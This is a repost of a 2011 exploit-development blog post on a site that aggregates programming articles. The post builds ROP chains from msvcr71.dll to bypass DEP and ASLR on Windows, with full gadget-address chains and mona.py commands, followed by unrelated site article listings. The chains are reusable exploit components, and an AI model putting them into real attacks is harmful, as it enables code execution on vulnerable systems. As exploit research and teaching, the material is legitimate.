Universal DEP/ASLR bypass with msvcr71.dll and mona.py

2024-03-29 08:48

本文主要是介绍Universal DEP/ASLR bypass with msvcr71.dll and mona.py,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

转载自:

https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/

Introduction

Over the last few weeks, there has been some commotion about a universal DEP/ASLR bypass routine  using ROP gadgets from msvcr71.dll and the fact that it might have been copied into an exploit submitted to Metasploit as part of the Metasploit bounty.

For the record, I don’t know exactly what happened nor have I seen the proof… so I’m not going to make any statements about this or judge anyone.

Furthermore, this post is not about the incident, but about the routine itself (which looks pretty slick) and alternative routines.

The White Phosphorus version

Released as part of the White Phosphorus Exploit Pack, the routine only uses gadgets and pointer to VirtualProtect from msvcr71.dll.  That particular version of the dll does not rebase and is not ASLR enabled either, which makes it a perfect candidate for universal/generic DEP & ASLR bypass, providing that it contains all required gadgets to perform a generic ROP routine.

If your target application has that particular version of the dll loaded (or if you can force it to load one way or another), you can use the ROP chain to bypass DEP and ASLR in a generic way.

Immunity Inc published the bypass technique on their website.  The routine looks like this :

def wp_sayonaraASLRDEPBypass(size=1000):# White Phosphorus# Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]## This technique uses msvcr71.dll which has shipped unchanged# in the Java Runtime Environment since v1.6.0.0 released# December 2006.## mail: support@whitephosphorus org# sales: http://www.immunityinc.com/products-whitephosphorus.shtmlprint "WP> Building Sayonara - Universal ASLR and DEP bypass"size += 4  # bytes to shellcode after pushad esp ptrdepBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtectdepBypass += pack('<L', 0x7C365645) # pop esi;ret;depBypass += pack('<L', 0x7C345243) # ret;depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;depBypass += pack('<L', 0x7C3487EC) # call eax depBypass += pack('<L', 0x7C344CC1) # pop eax;ret; depBypass += pack("<i", -size)      # {size}depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}depBypass += pack('<L', 0x7C3439FA) # pop edx;ret; depBypass += pack('<L', 0xFFFFFFC0) # {flag}depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}depBypass += pack('<L', 0x7C354648) # pop edi;ret;depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;depBypass += pack('<L', 0x7C36683F) # push esp;ret;print "WP> Universal Bypass Size: %d bytes"%len(depBypass)return depBypass

(22 dwords)

Triggered by the Metasploit bounty "incident", the fact that Abysssec published a post/document just a few hours ago, and because Immunity already released the routine, I decided to take a look myself & see if there would be another way to build an alternative DEP/ASLR Bypass routine from msvcr71.dll.

The alternative version (mona.py)

I attached Immunity Debugger to an application that has the dll loaded, and used mona.py to create a database with rop gadgets & have it produce a rop chain. 

Since the one written part of White Phosporus doesn’t have any null bytes, I will try to do the same thing.

This is the result :

Command used :

!mona rop -m msvcr71.dll -n

17 seconds later, I got this :

rop_gadgets = [0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)0x7c37a140,	# <- *&VirtualProtect() 0x7c3530ea,	# MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)0x????????,	# ** <- find routine to move virtualprotect() into esi# ** Hint : look for mov [esp+offset],eax and pop esi0x7c376402,	# POP EBP # RETN (msvcr71.dll)0x7c345c30,	# ptr to 'push esp #  ret ' (from msvcr71.dll)0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)0xfffffdff,	# value to negate, target value : 0x00000201, target: ebx0x7c351e05,	# NEG EAX # RETN (msvcr71.dll)0x7c354901,	# POP EBX # RETN (msvcr71.dll)0xffffffff,	# pop value into ebx0x7c345255,	# INC EBX # FPATAN # RETN (msvcr71.dll)0x7c352174,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)0x7c34d201,	# POP ECX # RETN (msvcr71.dll)0x7c38b001,	# RW pointer (lpOldProtect) (-> ecx)0x7c34b8d7,	# POP EDI # RETN (msvcr71.dll)0x7c34b8d8,	# ROP NOP (-> edi)0x7c344f87,	# POP EDX # RETN (msvcr71.dll)0xffffffc0,	# value to negate, target value : 0x00000040, target: edx0x7c351eb1,	# NEG EDX # RETN (msvcr71.dll)0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)0x90909090,	# NOPS (-> eax)0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)# rop chain generated by mona.py# note : this chain may not work out of the box# you may have to change order or fix some gadgets,# but it should give you a head start].pack("V*")

Interesting… mona.py generated an almost complete ROP chain using gadgets using pointers from msvcr71.dll. 

It is slightly larger than the one written by Immunity (so yes, the one part of WP is most likely better), but I just wanted to see if there was an alternative available.

The only thing that is missing from the one mona generated, is a routine that would put the VirtualProtect() (in eax) into esi.

mona.py didn’t find any obvious gadgets that would simply do something such as "mov esi,eax", so I had to manually search for an alternative.

But as mona.py suggested, I simply had to find a gadget that would write the value in eax onto the stack, so you can pick it up in esi later on.

In order to do so, you probably need 2 or 3 gadgets : one to get the stack pointer, a second one to write the value onto the stack and a third one to pick it up (pop esi).

After searching the generated rop.txt file for a few minutes, I found the following 2 gadgets that will do this :

0x7c37591f :  # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN   

0x7c376069 :  # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN  

That should work. 

Using those 2 gadgets, we can simply write the pointer to VirtualProtect() onto the stack and pick it up in ESI. In fact, the second gadget will write and pick up in the same gadget. We just need to make ECX point at the correct location on the stack and make sure POP ESI will take it from that location.

Note that the first gadget requires EAX to contain a valid pointer to a readable location.  So all we would have to do to make it readable is pop a readable address from msvcr71.dll into EAX first.

Putting all of this together, the chain looks like this :

rop_gadgets = 
[0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)0x7c37a140,	# Make EAX readable			0x7c37591f,	# PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)0x41414141,	# EBP (filler)0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)0x7c37a140,	# <- *&VirtualProtect() 0x7c3530ea,	# MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)0x7c346c0b,	# Slide, so next gadget would write to correct stack location0x7c376069,	# MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)0x41414141,	# EDI (filler)0x41414141,	# will be patched at runtime (VP), then picked up into ESI0x41414141,	# EBX (filler)0x7c376402,	# POP EBP # RETN (msvcr71.dll)0x7c345c30,	# ptr to 'push esp #  ret ' (from MSVCR71.dll)0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)0xfffffdff,	# size 0x00000201 -> ebx, modify if needed0x7c351e05,	# NEG EAX # RETN (MSVCR71.dll)0x7c354901,	# POP EBX # RETN (MSVCR71.dll)0xffffffff,	# pop value into ebx0x7c345255,	# INC EBX # FPATAN # RETN (MSVCR71.dll)0x7c352174,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)0x7c34d201,	# POP ECX # RETN (MSVCR71.dll)0x7c38b001,	# RW pointer (lpOldProtect) (-> ecx)0x7c34b8d7,	# POP EDI # RETN (MSVCR71.dll)0x7c34b8d8,	# ROP NOP (-> edi)0x7c344f87,	# POP EDX # RETN (MSVCR71.dll)0xffffffc0,	# value to negate, target value : 0x00000040, target: edx0x7c351eb1,	# NEG EDX # RETN (MSVCR71.dll)0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)0x90909090,	# NOPS (-> eax)0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)# rop chain generated with mona.py
].pack("V*")

31 dwords…  9 dwords larger than the commercial one from White Phosphorus…  but it proves my point.   It took me less than 10 minutes to build this chain, it’s universal and bypasses DEP and ASLR.

Oh, by the way, in case you didn’t know…  if you have other bad chars (so let’s say you also need to avoid using ‘\x0a’ and ‘\x0d’) then you could just run

!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'

and get other pointers… yes, it’s that simple. 

 

Conclusion

no matter how nice & ‘tempting’ a certain solution looks like, there always might be an alternative, and creativity often leads to results.

 


这篇关于Universal DEP/ASLR bypass with msvcr71.dll and mona.py的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/858154

相关文章

python: 多模块(.py)中全局变量的导入

文章目录 global关键字可变类型和不可变类型数据的内存地址单模块(单个py文件)的全局变量示例总结 多模块(多个py文件)的全局变量from x import x导入全局变量示例 import x导入全局变量示例 总结 global关键字 global 的作用范围是模块(.py)级别: 当你在一个模块(文件)中使用 global 声明变量时,这个变量只在该模块的全局命名空

【LabVIEW学习篇 - 21】:DLL与API的调用

文章目录 DLL与API调用DLLAPIDLL的调用 DLL与API调用 LabVIEW虽然已经足够强大,但不同的语言在不同领域都有着自己的优势,为了强强联合,LabVIEW提供了强大的外部程序接口能力,包括DLL、CIN(C语言接口)、ActiveX、.NET、MATLAB等等。通过DLL可以使用户很方便地调用C、C++、C#、VB等编程语言写的程序以及windows自带的大

UMI复现代码运行逻辑全流程(一)——eval_real.py(尚在更新)

一、文件夹功能解析 全文件夹如下 其中,核心文件作用为: diffusion_policy:扩散策略核心文件夹,包含了众多模型及基础库 example:标定及配置文件 scripts/scripts_real:测试脚本文件,区别在于前者倾向于单体运行,后者为整体运行 scripts_slam_pipeline:orb_slam3运行全部文件 umi:核心交互文件夹,作用在于构建真

LibSVM学习(六)——easy.py和grid.py的使用

我们在“LibSVM学习(一)”中,讲到libSVM有一个tools文件夹,里面包含有四个python文件,是用来对参数优选的。其中,常用到的是easy.py和grid.py两个文件。其实,网上也有相应的说明,但很不系统,下面结合本人的经验,对使用方法做个说明。        这两个文件都要用python(可以在http://www.python.org上下载到,需要安装)和绘图工具gnup

什么是dll

DLL的概念        DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使

用VB创建开始菜单快捷方式(无需其他DLL)

Option Explicit   Private Sub Command1_Click()   CreateProgManGroup Me, "测试", "test.grp"   CreateProgManItem Me, "d:\ghost.exe", "Ghost"   CreateProgManItem Me, "d:\setupQQ.exe", "QQ"   End

六种msvcp110.dll丢失修复的方法分享,有效快速修复msvcp110.dll丢失

在日常使用电脑的过程中,我们可能会遭遇各种程序运行错误,其中“msvcp110.dll丢失”是一种非常常见的问题。这个问题通常发生在尝试启动某些程序时,系统会弹出一个错误消息,提示“程序无法启动,因为计算机缺少msvcp110.dll”,这可能会让用户感到困惑和无助。幸运的是,这个问题有多种解决方法,本文将指导你通过几种简单的步骤来修复“msvcp110.dll丢失”的问题,让你的程序回到正常运行

python IDLE的执行py文件

Import 在IDLE下也可以用import来运行文件。如运行test.py文件:improt test 但是对于一个文件,improt只能在第一次导入时运行文件。在第一次导入之后,其他的导入都不会再工作,甚至在另一个窗口中改变并保存了模块的源代码文件也不行。实验了下,发现重启IDEL后依然不行。这是有意设计的结果。导入是一个开销很大的操作以至于每个程序不能够重复多于1次。 Reload

由于找不到python37.dll,无法继续执行代码问题解决

由于各种原因系统删掉了python37.dll,只要重新下载python37.dll解压复制到C:\Windows\System32\这里就行了,地址:https://cn.dll-files.com/python37.dll.html 只要电脑上丢失或损坏文件,遇到过“无法找到****.dll文件…”的消息弹窗,都可以上https://cn.dll-files.com/重新下载回来